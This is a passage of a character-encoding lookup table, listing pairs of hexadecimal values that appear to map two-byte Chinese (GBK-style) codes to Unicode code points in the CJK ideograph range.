{0x5fe2,0x9205},{0x60e2,0x9206},{0x61e2,0x9207},{0x62e2,0x9208},{0x63e2,0x9209},
{0x64e2,0x920a},{0x65e2,0x920b},{0x66e2,0x920c},{0x67e2,0x920d},{0x68e2,0x920e},
{0x69e2,0x920f},{0x6ae2,0x9210},{0x6be2,0x9211},{0x6ce2,0x9212},{0x6de2,0x9213},
{0x6ee2,0x9214},{0x6fe2,0x9215},{0x70e2,0x9216},{0x71e2,0x9217},{0x72e2,0x9218},
{0x73e2,0x9219},{0x74e2,0x921a},{0x75e2,0x921b},{0x76e2,0x921c},{0x77e2,0x921d},
{0x78e2,0x921e},{0x79e2,0x921f},{0x7ae2,0x9220},{0x7be2,0x9221},{0x7ce2,0x9222},
{0x7de2,0x9223},{0x7ee2,0x9224},{0x80e2,0x9225},{0x81e2,0x9226},{0x82e2,0x9227},
{0x83e2,0x9228},{0x84e2,0x9229},{0x85e2,0x922a},{0x86e2,0x922b},{0x87e2,0x922c},
{0x88e2,0x922d},{0x89e2,0x922e},{0x8ae2,0x922f},{0x8be2,0x9230},{0x8ce2,0x9231},
{0x8de2,0x9232},{0x8ee2,0x9233},{0x8fe2,0x9234},{0x90e2,0x9235},{0x91e2,0x9236},
{0x92e2,0x9237},{0x93e2,0x9238},{0x94e2,0x9239},{0x95e2,0x923a},{0x96e2,0x923b},
{0x97e2,0x923c},{0x98e2,0x923d},{0x99e2,0x923e},{0x9ae2,0x923f},{0x9be2,0x9240},
{0x9ce2,0x9241},{0x9de2,0x9242},{0x9ee2,0x9243},{0x9fe2,0x9244},{0xa0e2,0x9245},
{0x40e3,0x9246},{0x41e3,0x9247},{0x42e3,0x9248},{0x43e3,0x9249},{0x44e3,0x924a},
{0x45e3,0x924b},{0x46e3,0x924c},{0x47e3,0x924d},{0x48e3,0x924e},{0x49e3,0x924f},
{0x4ae3,0x9250},{0x4be3,0x9251},{0x4ce3,0x9252},{0x4de3,0x9253},{0x4ee3,0x9254},
{0x4fe3,0x9255},{0x50e3,0x9256},{0x51e3,0x9257},{0x52e3,0x9258},{0x53e3,0x9259},
{0x54e3,0x925a},{0x55e3,0x925b},{0x56e3,0x925c},{0x57e3,0x925d},{0x58e3,0x925e},
{0x59e3,0x925f},{0x5ae3,0x9260},{0x5be3,0x9261},{0x5ce3,0x9262},{0x5de3,0x9263},
{0x5ee3,0x9264},{0x5fe3,0x9265},{0x60e3,0x9266},{0x61e3,0x9267},{0x62e3,0x9268},
{0x63e3,0x9269},{0x64e3,0x926a},{0x65e3,0x926b},{0x66e3,0x926c},{0x67e3,0x926d},
{0x68e3,0x926e},{0x69e3,0x926f},{0x6ae3,0x9270},{0x6be3,0x9271},{0x6ce3,0x9272},
{0x6de3,0x9273},{0xf8bc,0x9274},{0x6ee3,0x9275},{0x6fe3,0x9276},{0x70e3,0x9277},
{0x71e3,0x9278},{0x72e3,0x9279},{0x73e3,0x927a},{0x74e3,0x927b},{0x75e3,0x927c},
{0x76e3,0x927d},{0x77e3,0x927e},{0x78e3,0x927f},{0x79e3,0x9280},{0x7ae3,0x9281},
{0x7be3,0x9282},{0x7ce3,0x9283},{0x7de3,0x9284},{0x7ee3,0x9285},{0x80e3,0x9286},
{0x81e3,0x9287},{0x82e3,0x9288},{0x83e3,0x9289},{0x84e3,0x928a},{0x85e3,0x928b},
{0x86e3,0x928c},{0x87e3,0x928d},{0xc6f6,0x928e},{0x88e3,0x928f},{0x89e3,0x9290},
{0x8ae3,0x9291},{0x8be3,0x9292},{0x8ce3,0x9293},{0x8de3,0x9294},{0x8ee3,0x9295},
{0x8fe3,0x9296},{0x90e3,0x9297},{0x91e3,0x9298},{0x92e3,0x9299},{0x93e3,0x929a},
{0x94e3,0x929b},{0x95e3,0x929c},{0x96e3,0x929d},{0x97e3,0x929e},{0x98e3,0x929f},
{0x99e3,0x92a0},{0x9ae3,0x92a1},{0x9be3,0x92a2},{0x9ce3,0x92a3},{0x9de3,0x92a4},
{0x9ee3,0x92a5},{0x9fe3,0x92a6},{0xa0e3,0x92a7},{0x40e4,0x92a8},{0x41e4,0x92a9},
{0x42e4,0x92aa},{0x43e4,0x92ab},{0x44e4,0x92ac},{0x45e4,0x92ad},{0xc7f6,0x92ae},
{0x46e4,0x92af},{0x47e4,0x92b0},{0x48e4,0x92b1},{0x49e4,0x92b2},{0x4ae4,0x92b3},
{0x4be4,0x92b4},{0x4ce4,0x92b5},{0x4de4,0x92b6},{0x4ee4,0x92b7},{0x4fe4,0x92b8},
{0x50e4,0x92b9},{0x51e4,0x92ba},{0x52e4,0x92bb},{0x53e4,0x92bc},{0x54e4,0x92bd},
{0x55e4,0x92be},{0x56e4,0x92bf},{0x57e4,0x92c0},{0x58e4,0x92c1},{0x59e4,0x92c2},
{0x5ae4,0x92c3},{0x5be4,0x92c4},{0x5ce4,0x92c5},{0x5de4,0x92c6},{0x5ee4,0x92c7},
{0xc8f6,0x92c8},{0x5fe4,0x92c9},{0x60e4,0x92ca},{0x61e4,0x92cb},{0x62e4,0x92cc},
{0x63e4,0x92cd},{0x64e4,0x92ce},{0x65e4,0x92cf},{0x66e4,0x92d0},{0x67e4,0x92d1},
{0x68e4,0x92d2},{0x69e4,0x92d3},{0x6ae4,0x92d4},{0x6be4,0x92d5},{0x6ce4,0x92d6},
{0x6de4,0x92d7},{0x6ee4,0x92d8},{0x6fe4,0x92d9},{0x70e4,0x92da},{0x71e4,0x92db},
{0x72e4,0x92dc},{0x73e4,0x92dd},{0x74e4,0x92de},{0x75e4,0x92df},{0x76e4,0x92e0},
{0x77e4,0x92e1},{0x78e4,0x92e2},{0x79e4,0x92e3},{0x7ae4,0x92e4},{0x7be4,0x92e5},
{0x7ce4,0x92e6},{0x7de4,0x92e7},{0x7ee4,0x92e8},{0x80e4,0x92e9},{0x81e4,0x92ea},
{0x82e4,0x92eb},{0x83e4,0x92ec},{0x84e4,0x92ed},{0x85e4,0x92ee},{0x86e4,0x92ef},
{0x87e4,0x92f0},{0x88e4,0x92f1},{0x89e4,0x92f2},{0x8ae4,0x92f3},{0x8be4,0x92f4},
{0x8ce4,0x92f5},{0x8de4,0x92f6},{0x8ee4,0x92f7},{0x8fe4,0x92f8},{0x90e4,0x92f9},
{0x91e4,0x92fa},{0x92e4,0x92fb},{0x93e4,0x92fc},{0x94e4,0x92fd},{0x95e4,0x92fe},
{0x97e4,0x9300},{0x98e4,0x9301},{0x99e4,0x9302},{0x9ae4,0x9303},{0x9be4,0x9304},
{0x9ce4,0x9305},{0x9de4,0x9306},{0x9ee4,0x9307},{0x9fe4,0x9308},{0xa0e4,0x9309},
{0x40e5,0x930a},{0x41e5,0x930b},{0x42e5,0x930c},{0x43e5,0x930d},{0x44e5,0x930e},
{0x45e5,0x930f},{0x46e5,0x9310},{0x47e5,0x9311},{0x48e5,0x9312},{0x49e5,0x9313},
{0x4ae5,0x9314},{0x4be5,0x9315},{0x4ce5,0x9316},{0x4de5,0x9317},{0x4ee5,0x9318},
{0x4fe5,0x9319},{0x50e5,0x931a},{0x51e5,0x931b},{0x52e5,0x931c},{0x53e5,0x931d},
{0x54e5,0x931e},{0x55e5,0x931f},{0x56e5,0x9320},{0x57e5,0x9321},{0x58e5,0x9322},
{0x59e5,0x9323},{0x5ae5,0x9324},{0x5be5,0x9325},{0x5ce5,0x9326},{0x5de5,0x9327},
{0x5ee5,0x9328},{0x5fe5,0x9329},{0x60e5,0x932a},{0x61e5,0x932b},{0x62e5,0x932c},
{0x63e5,0x932d},{0x64e5,0x932e},{0x65e5,0x932f},{0x66e5,0x9330},{0x67e5,0x9331},
{0x68e5,0x9332},{0x69e5,0x9333},{0x6ae5,0x9334},{0x6be5,0x9335},{0x6ce5,0x9336},
{0x6de5,0x9337},{0x6ee5,0x9338},{0x6fe5,0x9339},{0x70e5,0x933a},{0x71e5,0x933b},
{0x72e5,0x933c},{0x73e5,0x933d},{0xc9f6,0x933e},{0x74e5,0x933f},{0x75e5,0x9340},
{0x76e5,0x9341},{0x77e5,0x9342},{0x78e5,0x9343},{0x79e5,0x9344},{0x7ae5,0x9345},
{0x7be5,0x9346},{0x7ce5,0x9347},{0x7de5,0x9348},{0x7ee5,0x9349},{0x80e5,0x934a},
{0x81e5,0x934b},{0x82e5,0x934c},{0x83e5,0x934d},{0x84e5,0x934e},{0x85e5,0x934f},
{0x86e5,0x9350},{0x87e5,0x9351},{0x88e5,0x9352},{0x89e5,0x9353},{0x8ae5,0x9354},
{0x8be5,0x9355},{0x8ce5,0x9356},{0x8de5,0x9357},{0x8ee5,0x9358},{0x8fe5,0x9359},
{0x90e5,0x935a},{0x91e5,0x935b},{0x92e5,0x935c},{0x93e5,0x935d},{0x94e5,0x935e},
{0x95e5,0x935f},{0x96e5,0x9360},{0x97e5,0x9361},{0x98e5,0x9362},{0x99e5,0x9363},
{0x9ae5,0x9364},{0x9be5,0x9365},{0x9ce5,0x9366},{0x9de5,0x9367},{0x9ee5,0x9368},
{0x9fe5,0x9369},{0xcaf6,0x936a},{0xa0e5,0x936b},{0x40e6,0x936c},{0x41e6,0x936d},
{0x42e6,0x936e},{0x43e6,0x936f},{0x44e6,0x9370},{0x45e6,0x9371},{0x46e6,0x9372},
{0x47e6,0x9373},{0x48e6,0x9374},{0x49e6,0x9375},{0x4ae6,0x9376},{0x4be6,0x9377},
{0x4ce6,0x9378},{0x4de6,0x9379},{0x4ee6,0x937a},{0x4fe6,0x937b},{0x50e6,0x937c},
{0x51e6,0x937d},{0x52e6,0x937e},{0x53e6,0x937f},{0x54e6,0x9380},{0x55e6,0x9381},
{0x56e6,0x9382},{0x57e6,0x9383},{0x58e6,0x9384},{0x59e6,0x9385},{0x5ae6,0x9386},
{0x5be6,0x9387},{0x5ce6,0x9388},{0x5de6,0x9389},{0x5ee6,0x938a},{0x5fe6,0x938b},
{0x60e6,0x938c},{0x61e6,0x938d},{0x62e6,0x938e},{0xccf6,0x938f},{0x63e6,0x9390},
{0x64e6,0x9391},{0x65e6,0x9392},{0x66e6,0x9393},{0x67e6,0x9394},{0x68e6,0x9395},
{0x69e6,0x9396},{0x6ae6,0x9397},{0x6be6,0x9398},{0x6ce6,0x9399},{0x6de6,0x939a},
{0x6ee6,0x939b},{0x6fe6,0x939c},{0x70e6,0x939d},{0x71e6,0x939e},{0x72e6,0x939f},
{0x73e6,0x93a0},{0x74e6,0x93a1},{0x75e6,0x93a2},{0x76e6,0x93a3},{0x77e6,0x93a4},
{0x78e6,0x93a5},{0x79e6,0x93a6},{0x7ae6,0x93a7},{0x7be6,0x93a8},{0x7ce6,0x93a9},
{0x7de6,0x93aa},{0x7ee6,0x93ab},{0x80e6,0x93ac},{0x81e6,0x93ad},{0x82e6,0x93ae},
{0x83e6,0x93af},{0x84e6,0x93b0},{0x85e6,0x93b1},{0x86e6,0x93b2},{0x87e6,0x93b3},
{0x88e6,0x93b4},{0x89e6,0x93b5},{0x8ae6,0x93b6},{0x8be6,0x93b7},{0x8ce6,0x93b8},
{0x8de6,0x93b9},{0x8ee6,0x93ba},{0x8fe6,0x93bb},{0x90e6,0x93bc},{0x91e6,0x93bd},
{0x92e6,0x93be},{0x93e6,0x93bf},{0x94e6,0x93c0},{0x95e6,0x93c1},{0x96e6,0x93c2},
{0x97e6,0x93c3},{0x98e6,0x93c4},{0x99e6,0x93c5},{0x9ae6,0x93c6},{0x9be6,0x93c7},
{0x9ce6,0x93c8},{0x9de6,0x93c9},{0xcbf6,0x93ca},{0x9ee6,0x93cb},{0x9fe6,0x93cc},
{0xa0e6,0x93cd},{0x40e7,0x93ce},{0x41e7,0x93cf},{0x42e7,0x93d0},{0x43e7,0x93d1},
{0x44e7,0x93d2},{0x45e7,0x93d3},{0x46e7,0x93d4},{0x47e7,0x93d5},{0xe9f7,0x93d6},
{0x48e7,0x93d7},{0x49e7,0x93d8},{0x4ae7,0x93d9},{0x4be7,0x93da},{0x4ce7,0x93db},
{0x4de7,0x93dc},{0x4ee7,0x93dd},{0x4fe7,0x93de},{0x50e7,0x93df},{0x51e7,0x93e0},
{0x52e7,0x93e1},{0x53e7,0x93e2},{0x54e7,0x93e3},{0x55e7,0x93e4},{0x56e7,0x93e5},
{0x57e7,0x93e6},{0x58e7,0x93e7},{0x59e7,0x93e8},{0x5ae7,0x93e9},{0x5be7,0x93ea},
{0x5ce7,0x93eb},{0x5de7,0x93ec},{0x5ee7,0x93ed},{0x5fe7,0x93ee},{0x60e7,0x93ef},
{0x61e7,0x93f0},{0x62e7,0x93f1},{0x63e7,0x93f2},{0x64e7,0x93f3},{0x65e7,0x93f4},
{0x66e7,0x93f5},{0x67e7,0x93f6},{0x68e7,0x93f7},{0x69e7,0x93f8},{0x6ae7,0x93f9},
{0x6be7,0x93fa},{0x6ce7,0x93fb},{0x6de7,0x93fc},{0x6ee7,0x93fd},{0x6fe7,0x93fe},
{0x71e7,0x9400},{0x72e7,0x9401},{0x73e7,0x9402},{0x74e7,0x9403},{0x75e7,0x9404},
{0x76e7,0x9405},{0x77e7,0x9406},{0x78e7,0x9407},{0x79e7,0x9408},{0x7ae7,0x9409},
{0x7be7,0x940a},{0x7ce7,0x940b},{0x7de7,0x940c},{0x7ee7,0x940d},{0x80e7,0x940e},
{0x81e7,0x940f},{0x82e7,0x9410},{0x83e7,0x9411},{0x84e7,0x9412},{0x85e7,0x9413},
{0x86e7,0x9414},{0x87e7,0x9415},{0x88e7,0x9416},{0x89e7,0x9417},{0x8ae7,0x9418},
{0x8be7,0x9419},{0x8ce7,0x941a},{0x8de7,0x941b},{0x8ee7,0x941c},{0x8fe7,0x941d},
{0x90e7,0x941e},{0x91e7,0x941f},{0x92e7,0x9420},{0x93e7,0x9421},{0x94e7,0x9422},
{0x95e7,0x9423},{0x96e7,0x9424},{0x97e7,0x9425},{0x98e7,0x9426},{0x99e7,0x9427},
{0x9ae7,0x9428},{0x9be7,0x9429},{0x9ce7,0x942a},{0x9de7,0x942b},{0x9ee7,0x942c},
{0x9fe7,0x942d},{0xa0e7,0x942e},{0x40e8,0x942f},{0x41e8,0x9430},{0x42e8,0x9431},
{0x43e8,0x9432},{0x44e8,0x9433},{0x45e8,0x9434},{0x46e8,0x9435},{0x47e8,0x9436},
{0x48e8,0x9437},{0x49e8,0x9438},{0x4ae8,0x9439},{0x4be8,0x943a},{0x4ce8,0x943b},
{0x4de8,0x943c},{0x4ee8,0x943d},{0xcdf6,0x943e},{0x4fe8,0x943f},{0x50e8,0x9440},
{0x51e8,0x9441},{0x52e8,0x9442},{0x53e8,0x9443},{0x54e8,0x9444},{0x55e8,0x9445},
{0x56e8,0x9446},{0x57e8,0x9447},{0x58e8,0x9448},{0x59e8,0x9449},{0x5ae8,0x944a},
{0x5be8,0x944b},{0x5ce8,0x944c},{0x5de8,0x944d},{0x5ee8,0x944e},{0x5fe8,0x944f},
{0x60e8,0x9450},{0x61e8,0x9451},{0x62e8,0x9452},{0x63e8,0x9453},{0x64e8,0x9454},
{0x65e8,0x9455},{0x66e8,0x9456},{0x67e8,0x9457},{0x68e8,0x9458},{0x69e8,0x9459},
{0x6ae8,0x945a},{0x6be8,0x945b},{0x6ce8,0x945c},{0x6de8,0x945d},{0x6ee8,0x945e},
{0x6fe8,0x945f},{0x70e8,0x9460},{0x71e8,0x9461},{0x72e8,0x9462},{0x73e8,0x9463},
{0x74e8,0x9464},{0x75e8,0x9465},{0x76e8,0x9466},{0x77e8,0x9467},{0x78e8,0x9468},
{0x79e8,0x9469},{0x7ae8,0x946a},{0xcef6,0x946b},{0x7be8,0x946c},{0x7ce8,0x946d},
{0x7de8,0x946e},{0x7ee8,0x946f},{0x80e8,0x9470},{0x81e8,0x9471},{0x82e8,0x9472},
{0x83e8,0x9473},{0x84e8,0x9474},{0x85e8,0x9475},{0x86e8,0x9476},{0x87e8,0x9477},
{0x88e8,0x9478},{0x89e8,0x9479},{0x8ae8,0x947a},{0x8be8,0x947b},{0x8ce8,0x947c},
{0x8de8,0x947d},{0x8ee8,0x947e},{0x8fe8,0x947f},{0x90e8,0x9480},{0x91e8,0x9481},
{0x92e8,0x9482},{0x93e8,0x9483},{0x94e8,0x9484},{0xc4ee,0x9485},{0xc5ee,0x9486},
{0xc6ee,0x9487},{0xebd5,0x9488},{0xa4b6,0x9489},{0xc8ee,0x948a},{0xc7ee,0x948b},
{0xc9ee,0x948c},{0xcaee,0x948d},{0xa5c7,0x948e},{0xcbee,0x948f},{0xccee,0x9490},
{0x95e8,0x9491},{0xb0b7,0x9492},{0xf6b5,0x9493},{0xcdee,0x9494},{0xcfee,0x9495},
{0x96e8,0x9496},{0xceee,0x9497},{0x97e8,0x9498},{0xc6b8,0x9499},{0xd0ee,0x949a},
{0xd1ee,0x949b},{0xd2ee,0x949c},{0xdbb6,0x949d},{0xaeb3,0x949e},{0xd3d6,0x949f},
{0xc6c4,0x94a0},{0xb5b1,0x94a1},{0xd6b8,0x94a2},{0xd3ee,0x94a3},{0xd4ee,0x94a4},
{0xbfd4,0x94a5},{0xd5c7,0x94a6},{0xfbbe,0x94a7},{0xd9ce,0x94a8},{0xb3b9,0x94a9},
{0xd6ee,0x94aa},{0xd5ee,0x94ab},{0xd8ee,0x94ac},{0xd7ee,0x94ad},{0xa5c5,0x94ae},
{0xd9ee,0x94af},{0xdaee,0x94b0},{0xaec7,0x94b1},{0xdbee,0x94b2},{0xafc7,0x94b3},
{0xdcee,0x94b4},{0xa7b2,0x94b5},{0xddee,0x94b6},{0xdeee,0x94b7},{0xdfee,0x94b8},
{0xe0ee,0x94b9},{0xe1ee,0x94ba},{0xead7,0x94bb},{0xe2ee,0x94bc},{0xe3ee,0x94bd},
{0xd8bc,0x94be},{0xe4ee,0x94bf},{0xcbd3,0x94c0},{0xfacc,0x94c1},{0xacb2,0x94c2},
{0xe5c1,0x94c3},{0xe5ee,0x94c4},{0xa6c7,0x94c5},{0xadc3,0x94c6},{0x98e8,0x94c7},
{0xe6ee,0x94c8},{0xe7ee,0x94c9},{0xe8ee,0x94ca},{0xe9ee,0x94cb},{0xeaee,0x94cc},
{0xebee,0x94cd},{0xecee,0x94ce},{0x99e8,0x94cf},{0xedee,0x94d0},{0xeeee,0x94d1},
{0xefee,0x94d2},{0x9ae8,0x94d3},{0x9be8,0x94d4},{0xf0ee,0x94d5},{0xf1ee,0x94d6},
{0xf2ee,0x94d7},{0xf4ee,0x94d8},{0xf3ee,0x94d9},{0x9ce8,0x94da},{0xf5ee,0x94db},
{0xadcd,0x94dc},{0xc1c2,0x94dd},{0xf6ee,0x94de},{0xf7ee,0x94df},{0xf8ee,0x94e0},
{0xa1d5,0x94e1},{0xf9ee,0x94e2},{0xb3cf,0x94e3},{0xfaee,0x94e4},{0xfbee,0x94e5},
{0x9de8,0x94e6},{0xfcee,0x94e7},{0xfdee,0x94e8},{0xa1ef,0x94e9},{0xfeee,0x94ea},
{0xa2ef,0x94eb},{0xf5b8,0x94ec},{0xfac3,0x94ed},{0xa3ef,0x94ee},{0xa4ef,0x94ef},
{0xc2bd,0x94f0},{0xbfd2,0x94f1},{0xf9b2,0x94f2},{0xa5ef,0x94f3},{0xa6ef,0x94f4},
{0xa7ef,0x94f5},{0xf8d2,0x94f6},{0xa8ef,0x94f7},{0xfdd6,0x94f8},{0xa9ef,0x94f9},
{0xccc6,0x94fa},{0x9ee8,0x94fb},{0xaaef,0x94fc},{0xabef,0x94fd},{0xb4c1,0x94fe},
{0xfacf,0x9500},{0xf8cb,0x9501},{0xaeef,0x9502},{0xadef,0x9503},{0xfab3,0x9504},
{0xf8b9,0x9505},{0xafef,0x9506},{0xb0ef,0x9507},{0xe2d0,0x9508},{0xb1ef,0x9509},
{0xb2ef,0x950a},{0xe6b7,0x950b},{0xbfd0,0x950c},{0xb3ef,0x950d},{0xb4ef,0x950e},
{0xb5ef,0x950f},{0xf1c8,0x9510},{0xe0cc,0x9511},{0xb6ef,0x9512},{0xb7ef,0x9513},
{0xb8ef,0x9514},{0xb9ef,0x9515},{0xbaef,0x9516},{0xe0d5,0x9517},{0xbbef,0x9518},
{0xedb4,0x9519},{0xaac3,0x951a},{0xbcef,0x951b},{0x9fe8,0x951c},{0xbdef,0x951d},
{0xbeef,0x951e},{0xbfef,0x951f},{0xa0e8,0x9520},{0xfdce,0x9521},{0xc0ef,0x9522},
{0xe0c2,0x9523},{0xb8b4,0x9524},{0xb6d7,0x9525},{0xf5bd,0x9526},{0x40e9,0x9527},
{0xc7cf,0x9528},{0xc3ef,0x9529},{0xc1ef,0x952a},{0xc2ef,0x952b},{0xc4ef,0x952c},
{0xa7b6,0x952d},{0xfcbc,0x952e},{0xe2be,0x952f},{0xccc3,0x9530},{0xc5ef,0x9531},
{0xc6ef,0x9532},{0x41e9,0x9533},{0xc7ef,0x9534},{0xcfef,0x9535},{0xc8ef,0x9536},
{0xc9ef,0x9537},{0xcaef,0x9538},{0xc2c7,0x9539},{0xf1ef,0x953a},{0xcdb6,0x953b},
{0xcbef,0x953c},{0x42e9,0x953d},{0xccef,0x953e},{0xcdef,0x953f},{0xc6b6,0x9540},
{0xbec3,0x9541},{0xceef,0x9542},{0x43e9,0x9543},{0xd0ef,0x9544},{0xd1ef,0x9545},
{0xd2ef,0x9546},{0xf2d5,0x9547},{0x44e9,0x9548},{0xd3ef,0x9549},{0xf7c4,0x954a},
{0x45e9,0x954b},{0xd4ef,0x954c},{0xf8c4,0x954d},{0xd5ef,0x954e},{0xd6ef,0x954f},
{0xe4b8,0x9550},{0xf7b0,0x9551},{0xd7ef,0x9552},{0xd8ef,0x9553},{0xd9ef,0x9554},
{0x46e9,0x9555},{0xdaef,0x9556},{0xdbef,0x9557},{0xdcef,0x9558},{0xddef,0x9559},
{0x47e9,0x955a},{0xdeef,0x955b},{0xb5be,0x955c},{0xe1ef,0x955d},{0xdfef,0x955e},
{0xe0ef,0x955f},{0x48e9,0x9560},{0xe2ef,0x9561},{0xe3ef,0x9562},{0xcdc1,0x9563},
{0xe4ef,0x9564},{0xe5ef,0x9565},{0xe6ef,0x9566},{0xe7ef,0x9567},{0xe8ef,0x9568},
{0xe9ef,0x9569},{0xeaef,0x956a},{0xebef,0x956b},{0xecef,0x956c},{0xd8c0,0x956d},
{0x49e9,0x956e},{0xedef,0x956f},{0xadc1,0x9570},{0xeeef,0x9571},{0xefef,0x9572},
{0xf0ef,0x9573},{0x4ae9,0x9574},{0x4be9,0x9575},{0xe2cf,0x9576},{0x4ce9,0x9577},
{0x4de9,0x9578},{0x4ee9,0x9579},{0x4fe9,0x957a},{0x50e9,0x957b},{0x51e9,0x957c},
{0x52e9,0x957d},{0x53e9,0x957e},{0xa4b3,0x957f},{0x54e9,0x9580},{0x55e9,0x9581},
{0x56e9,0x9582},{0x57e9,0x9583},{0x58e9,0x9584},{0x59e9,0x9585},{0x5ae9,0x9586},
{0x5be9,0x9587},{0x5ce9,0x9588},{0x5de9,0x9589},{0x5ee9,0x958a},{0x5fe9,0x958b},
{0x60e9,0x958c},{0x61e9,0x958d},{0x62e9,0x958e},{0x63e9,0x958f},{0x64e9,0x9590},
{0x65e9,0x9591},{0x66e9,0x9592},{0x67e9,0x9593},{0x68e9,0x9594},{0x69e9,0x9595},
{0x6ae9,0x9596},{0x6be9,0x9597},{0x6ce9,0x9598},{0x6de9,0x9599},{0x6ee9,0x959a},
{0x6fe9,0x959b},{0x70e9,0x959c},{0x71e9,0x959d},{0x72e9,0x959e},{0x73e9,0x959f},
{0x74e9,0x95a0},{0x75e9,0x95a1},{0x76e9,0x95a2},{0x77e9,0x95a3},{0x78e9,0x95a4},
{0x79e9,0x95a5},{0x7ae9,0x95a6},{0x7be9,0x95a7},{0x7ce9,0x95a8},{0x7de9,0x95a9},
{0x7ee9,0x95aa},{0x80e9,0x95ab},{0x81e9,0x95ac},{0x82e9,0x95ad},{0x83e9,0x95ae},
{0x84e9,0x95af},{0x85e9,0x95b0},{0x86e9,0x95b1},{0x87e9,0x95b2},{0x88e9,0x95b3},
{0x89e9,0x95b4},{0x8ae9,0x95b5},{0x8be9,0x95b6},{0x8ce9,0x95b7},{0x8de9,0x95b8},
{0x8ee9,0x95b9},{0x8fe9,0x95ba},{0x90e9,0x95bb},{0x91e9,0x95bc},{0x92e9,0x95bd},
{0x93e9,0x95be},{0x94e9,0x95bf},{0x95e9,0x95c0},{0x96e9,0x95c1},{0x97e9,0x95c2},
{0x98e9,0x95c3},{0x99e9,0x95c4},{0x9ae9,0x95c5},{0x9be9,0x95c6},{0x9ce9,0x95c7},
{0x9de9,0x95c8},{0x9ee9,0x95c9},{0x9fe9,0x95ca},{0xa0e9,0x95cb},{0x40ea,0x95cc},
{0x41ea,0x95cd},{0x42ea,0x95ce},{0x43ea,0x95cf},{0x44ea,0x95d0},{0x45ea,0x95d1},
{0x46ea,0x95d2},{0x47ea,0x95d3},{0x48ea,0x95d4},{0x49ea,0x95d5},{0x4aea,0x95d6},
{0x4bea,0x95d7},{0x4cea,0x95d8},{0x4dea,0x95d9},{0x4eea,0x95da},{0x4fea,0x95db},
{0x50ea,0x95dc},{0x51ea,0x95dd},{0x52ea,0x95de},{0x53ea,0x95df},{0x54ea,0x95e0},
{0x55ea,0x95e1},{0x56ea,0x95e2},{0x57ea,0x95e3},{0x58ea,0x95e4},{0x59ea,0x95e5},
{0x5aea,0x95e6},{0x5bea,0x95e7},{0xc5c3,0x95e8},{0xc5e3,0x95e9},{0xc1c9,0x95ea},
{0xc6e3,0x95eb},{0x5cea,0x95ec},{0xd5b1,0x95ed},{0xcace,0x95ee},{0xb3b4,0x95ef},
{0xf2c8,0x95f0},{0xc7e3,0x95f1},{0xd0cf,0x95f2},{0xc8e3,0x95f3},{0xe4bc,0x95f4},
{0xc9e3,0x95f5},{0xcae3,0x95f6},{0xc6c3,0x95f7},{0xa2d5,0x95f8},{0xd6c4,0x95f9},
{0xebb9,0x95fa},{0xc5ce,0x95fb},{0xcbe3,0x95fc},{0xf6c3,0x95fd},{0xcce3,0x95fe},
{0xa7b7,0x9600},{0xf3b8,0x9601},{0xd2ba,0x9602},{0xcde3,0x9603},{0xcee3,0x9604},
{0xc4d4,0x9605},{0xcfe3,0x9606},{0x5eea,0x9607},{0xd0e3,0x9608},{0xcbd1,0x9609},
{0xd1e3,0x960a},{0xd2e3,0x960b},{0xd3e3,0x960c},{0xd4e3,0x960d},{0xd6d1,0x960e},
{0xd5e3,0x960f},{0xfbb2,0x9610},{0xbbc0,0x9611},{0xd6e3,0x9612},{0x5fea,0x9613},
{0xabc0,0x9614},{0xd7e3,0x9615},{0xd8e3,0x9616},{0xd9e3,0x9617},{0x60ea,0x9618},
{0xdae3,0x9619},{0xdbe3,0x961a},{0x61ea,0x961b},{0xb7b8,0x961c},{0xe2da,0x961d},
{0x62ea,0x961e},{0xd3b6,0x961f},{0x63ea,0x9620},{0xe4da,0x9621},{0xe3da,0x9622},
{0x64ea,0x9623},{0x65ea,0x9624},{0x66ea,0x9625},{0x67ea,0x9626},{0x68ea,0x9627},
{0x69ea,0x9628},{0x6aea,0x9629},{0xe6da,0x962a},{0x6bea,0x962b},{0x6cea,0x962c},
{0x6dea,0x962d},{0xeec8,0x962e},{0x6eea,0x962f},{0x6fea,0x9630},{0xe5da,0x9631},
{0xc0b7,0x9632},{0xf4d1,0x9633},{0xf5d2,0x9634},{0xf3d5,0x9635},{0xd7bd,0x9636},
{0x70ea,0x9637},{0x71ea,0x9638},{0x72ea,0x9639},{0x73ea,0x963a},{0xe8d7,0x963b},
{0xe8da,0x963c},{0xe7da,0x963d},{0x74ea,0x963e},{0xa2b0,0x963f},{0xd3cd,0x9640},
{0x75ea,0x9641},{0xe9da,0x9642},{0x76ea,0x9643},{0xbdb8,0x9644},{0xcabc,0x9645},
{0xbdc2,0x9646},{0xa4c2,0x9647},{0xc2b3,0x9648},{0xeada,0x9649},{0x77ea,0x964a},
{0xaac2,0x964b},{0xb0c4,0x964c},{0xb5bd,0x964d},{0x78ea,0x964e},{0x79ea,0x964f},
{0xdecf,0x9650},{0x7aea,0x9651},{0x7bea,0x9652},{0x7cea,0x9653},{0xebda,0x9654},
{0xc2c9,0x9655},{0x7dea,0x9656},{0x7eea,0x9657},{0x80ea,0x9658},{0x81ea,0x9659},
{0x82ea,0x965a},{0xddb1,0x965b},{0x83ea,0x965c},{0x84ea,0x965d},{0x85ea,0x965e},
{0xecda,0x965f},{0x86ea,0x9660},{0xb8b6,0x9661},{0xbad4,0x9662},{0x87ea,0x9663},
{0xfdb3,0x9664},{0x88ea,0x9665},{0x89ea,0x9666},{0xedda,0x9667},{0xc9d4,0x9668},
{0xd5cf,0x9669},{0xe3c5,0x966a},{0x8aea,0x966b},{0xeeda,0x966c},{0x8bea,0x966d},
{0x8cea,0x966e},{0x8dea,0x966f},{0x8eea,0x9670},{0x8fea,0x9671},{0xefda,0x9672},
{0x90ea,0x9673},{0xf0da,0x9674},{0xeac1,0x9675},{0xd5cc,0x9676},{0xddcf,0x9677},
{0x91ea,0x9678},{0x92ea,0x9679},{0x93ea,0x967a},{0x94ea,0x967b},{0x95ea,0x967c},
{0x96ea,0x967d},{0x97ea,0x967e},{0x98ea,0x967f},{0x99ea,0x9680},{0x9aea,0x9681},
{0x9bea,0x9682},{0x9cea,0x9683},{0x9dea,0x9684},{0xe7d3,0x9685},{0xa1c2,0x9686},
{0x9eea,0x9687},{0xf1da,0x9688},{0x9fea,0x9689},{0xa0ea,0x968a},{0xe5cb,0x968b},
{0x40eb,0x968c},{0xf2da,0x968d},{0x41eb,0x968e},{0xe6cb,0x968f},{0xfed2,0x9690},
{0x42eb,0x9691},{0x43eb,0x9692},{0x44eb,0x9693},{0xf4b8,0x9694},{0x45eb,0x9695},
